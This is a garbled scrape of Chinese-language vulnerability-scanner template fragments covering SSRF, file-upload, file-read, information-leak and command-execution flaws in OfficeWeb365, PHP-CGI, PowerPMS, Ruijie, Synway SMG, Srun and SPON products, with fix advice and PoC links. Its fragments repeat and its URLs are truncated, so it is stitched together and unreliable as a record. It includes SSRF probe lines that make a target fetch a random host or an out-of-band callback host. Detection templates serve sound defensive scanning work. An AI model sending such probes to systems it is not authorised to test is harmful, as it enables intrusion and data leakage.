publish_time: "2023-08-21"     dangers_type: "文件上传"     bug_solve: "请关注厂商官网更新补丁：https://officeweb365.net/"

dangers_type: "文件上传"     bug_solve: "请关注厂商官网更新补丁：https://officeweb365.net/"     bug_web: "https://officeweb365.net/"

bug_solve: "请关注厂商官网更新补丁：https://officeweb365.net/"

bug_web: "https://officeweb365.net/"

- raw:       - |+         GET /?furl=http://{{randstr_1}} HTTP/1.1

- |+         GET /?furl=http://{{randstr_1}} HTTP/1.1         Host: {{Hostname}}

GET /?furl=http://{{randstr_1}} HTTP/1.1

dangers_type: "命令执行"     bug_solve: "1、官方已发布安全更新，建议升级至最新版本。2、若无法更新至新版本，且若PHP运行于Window平台上，建议关闭php-cgi的使用。"     bug_web: "https://www.php.net/"

bug_solve: "1、官方已发布安全更新，建议升级至最新版本。2、若无法更新至新版本，且若PHP运行于Window平台上，建议关闭php-cgi的使用。"     bug_web: "https://www.php.net/"     CNNVD_number: ""

bug_web: "https://www.php.net/"

description: 普华PowerPMS系统OfficeService.aspx存在SSRF漏洞，未经身份验证的攻击者可能利用该漏洞访问系统资源或敏感信息，导致数据泄露或系统安全性降低。   reference:     - https://mrxn.net/jswz/powerpms-FormXml-DocFile-OfficeService-SSRF.html

reference:     - https://mrxn.net/jswz/powerpms-FormXml-DocFile-OfficeService-SSRF.html   classification:

- https://mrxn.net/jswz/powerpms-FormXml-DocFile-OfficeService-SSRF.html

action=download&WEBURL=http://{{interactsh-url}}

description: 普华PowerPMS是上海普华科技发展股份有限公司旗下一款项目管理信息平台。其PowerPMS系统Transfer.aspx接口存在信息泄露漏洞，攻击者可在无需认证的情况下，通过直接访问该文件，获取系统中存储的数据库配置信息，可能导致数据库数据泄露，进而引发未授权访问和系统控制风险。   reference:     - "https://mrxn.net/jswz/powerpms-Transfer-LoadDataSource-data-leak

reference:     - "https://mrxn.net/jswz/powerpms-Transfer-LoadDataSource-data-leak.html"   metadata:

- "https://mrxn.net/jswz/powerpms-Transfer-LoadDataSource-data-leak.html"

fingerprint: "PowerPMS"     publish_time: "2025-10-12"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.powerpms.com/；2、关闭互联网访问权限或限制页面访问权限。"

publish_time: "2025-10-12"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.powerpms.com/；2、关闭互联网访问权限或限制页面访问权限。"     bug_web: "https://www.powerpms.com/"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.powerpms.com/；2、关闭互联网访问权限或限制页面访问权限。"

bug_web: "https://www.powerpms.com/"

publish_time: "2025-03-07"     dangers_type: "文件上传"     bug_solve: "1、联系厂商打补丁或升级版本：https://www.ruijie.com.cn;2、对该上传接口进行身份验证，只允许经过身份验证的用户访问该接口;3、严格验证和过滤上传文件的类型与内容，限制文件大小，并将上传文件存放在非执行目录下。"

dangers_type: "文件上传"     bug_solve: "1、联系厂商打补丁或升级版本：https://www.ruijie.com.cn;2、对该上传接口进行身份验证，只允许经过身份验证的用户访问该接口;3、严格验证和过滤上传文件的类型与内容，限制文件大小，并将上传文件存放在非执行目录下。"     bug_web: "https://www.ruijie.com.cn/"

bug_solve: "1、联系厂商打补丁或升级版本：https://www.ruijie.com.cn;2、对该上传接口进行身份验证，只允许经过身份验证的用户访问该接口;3、严格验证和过滤上传文件的类型与内容，限制文件大小，并将上传文件存放在非执行目录下。"

bug_web: "https://www.ruijie.com.cn/"

publish_time: "2025-04-22"     dangers_type: "任意文件读取"     bug_solve: "1、关注厂商官网：https://www.ruijie.com.cn/ 获取补丁或更新版本；2、关闭互联网访问权限或限制页面访问权限；3、执行命令函数前进行严格的检测和过滤。"

dangers_type: "任意文件读取"     bug_solve: "1、关注厂商官网：https://www.ruijie.com.cn/ 获取补丁或更新版本；2、关闭互联网访问权限或限制页面访问权限；3、执行命令函数前进行严格的检测和过滤。"     bug_web: "https://www.ruijie.com.cn/"

bug_solve: "1、关注厂商官网：https://www.ruijie.com.cn/ 获取补丁或更新版本；2、关闭互联网访问权限或限制页面访问权限；3、执行命令函数前进行严格的检测和过滤。"

bug_web: "https://www.ruijie.com.cn/"

获取服务器控制权限。   reference:     - "https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7%20NBR%20%E8%B7%AF%E7%94%B1%E5%99%A8%20guestIsUp.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1

reference:     - "https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7%20NBR%20%E8%B7%AF%E7%94%B1%E5%99%A8%20guestIsUp.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%

- "https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7%20NBR%20%E8%B7%AF%E7%94%B1%E5%99%A8%20guestIsUp.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CNVD

三汇SMG网关管理软件 SMGSuperAdmin 配置文件存在信息泄露漏洞，未经身份认证的攻击者可获取用户名密码等敏感信息，使系统处于极不安全状态。   reference:     - https://github.com/wy876/POC/blob/main/%E4%B8%89%E6%B1%87%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6/%E4%B8%89%E6%B1%87SMG%E7%BD%91%E5

reference:     - https://github.com/wy876/POC/blob/main/%E4%B8%89%E6%B1%87%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6/%E4%B8%89%E6%B1%87SMG%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6SMGSuperAdmin%E4%BF%A1%E6%81%AF%E6%B

- https://github.com/wy876/POC/blob/main/%E4%B8%89%E6%B1%87%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6/%E4%B8%89%E6%B1%87SMG%E7%BD%91%E5%85%B3%E7%AE%A1%E7%90%86%E8%BD%AF%E4%BB%B6SMGSuperAdmin%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E

dangers_type: "信息泄漏"     bug_solve: "1、联系厂商打补丁或升级版本；2、删除敏感信息，禁用该敏感接口。"     bug_web: "https://www.synway.cn/"

bug_solve: "1、联系厂商打补丁或升级版本；2、删除敏感信息，禁用该敏感接口。"     bug_web: "https://www.synway.cn/"     CNNVD_number: ""

bug_web: "https://www.synway.cn/"

publish_time: "2025-04-05"     dangers_type: "任意文件读取"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.srun.com/；2、关闭互联网暴露面或接口设置访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"

dangers_type: "任意文件读取"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.srun.com/；2、关闭互联网暴露面或接口设置访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"     bug_web: "https://www.srun.com/"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.srun.com/；2、关闭互联网暴露面或接口设置访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"

bug_web: "https://www.srun.com/"

盛邦通信的SPON IP对讲广播系统采用先进的IPAudio技术，通过局域网和广域网以数据包的形式传输音频信号。该系统实现了全数字化的传输。盛邦通信的SPON IP对讲广播系统存在一个漏洞，允许任意文件上传。攻击者可以利用这个漏洞上传任意文件，并获取服务器权限。   reference:     - https://github.com/wy876/POC/blob/main/%E4%B8%96%E9%82%A6%E9%80%9A%E4%BF%A1SPON-IP%E7%BD%

reference:     - https://github.com/wy876/POC/blob/main/%E4%B8%96%E9%82%A6%E9%80%9A%E4%BF%A1SPON-IP%E7%BD%91%E7%BB%9C%E5%AF%B9%E8%AE%B2%E5%B9%BF%E6%92%AD%E7%B3%BB%E7%BB%9Faddmediadata.php%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A

- https://github.com/wy876/POC/blob/main/%E4%B8%96%E9%82%A6%E9%80%9A%E4%BF%A1SPON-IP%E7%BD%91%E7%BB%9C%E5%AF%B9%E8%AE%B2%E5%B9%BF%E6%92%AD%E7%B3%BB%E7%BB%9Faddmediadata.php%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B

publish_time: "2024-08-07"     dangers_type: "文件上传"     bug_solve: "联系厂商打补丁或升级版本：https://www.spon.com.cn"

dangers_type: "文件上传"     bug_solve: "联系厂商打补丁或升级版本：https://www.spon.com.cn"     bug_web: "https://www.spon.com.cn/"

bug_solve: "联系厂商打补丁或升级版本：https://www.spon.com.cn"

bug_web: "https://www.spon.com.cn/"

世邦通信SPON-IP网络对讲广播系统/php/addscenedata.php接口存在任意文件上传漏洞，攻击者可通过该漏洞上传任意文件到服务器上，包括木马后门文件，导致服务器权限被控制。   reference:     - "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统addscenedata.php任意文件上传漏洞.md"

reference:     - "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统addscenedata.php任意文件上传漏洞.md"   metadata:

- "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统addscenedata.php任意文件上传漏洞.md"

publish_time: "2024-06-14"     dangers_type: "文件上传"     bug_solve: "关注厂商官网：https://www.spon.com.cn/ 获取补丁或更新版本。"

dangers_type: "文件上传"     bug_solve: "关注厂商官网：https://www.spon.com.cn/ 获取补丁或更新版本。"     bug_web: "https://www.spon.com.cn/"

bug_solve: "关注厂商官网：https://www.spon.com.cn/ 获取补丁或更新版本。"

bug_web: "https://www.spon.com.cn/"

世邦通信 SPON IP网络对讲广播系统 my_parser.php 存在任意文件上传漏洞，攻击者可以通过漏洞上传任意文件甚至木马文件，从而获取服务器权限。   reference:     - "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统my_parser.php任意文件上传漏洞.md"

reference:     - "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统my_parser.php任意文件上传漏洞.md"   metadata:

- "https://github.com/wy876/POC/blob/main/世邦通信SPON-IP网络对讲广播系统my_parser.php任意文件上传漏洞.md"

publish_time: "2024-06-18"     dangers_type: "文件上传"     bug_solve: "关注厂商官网：https://www.spon.com.cn/ 获取补丁或更新版本。"

dangers_type: "文件上传"     bug_solve: "关注厂商官网：https://www.spon.com.cn/ 获取补丁或更新版本。"     bug_web: "https://www.spon.com.cn/"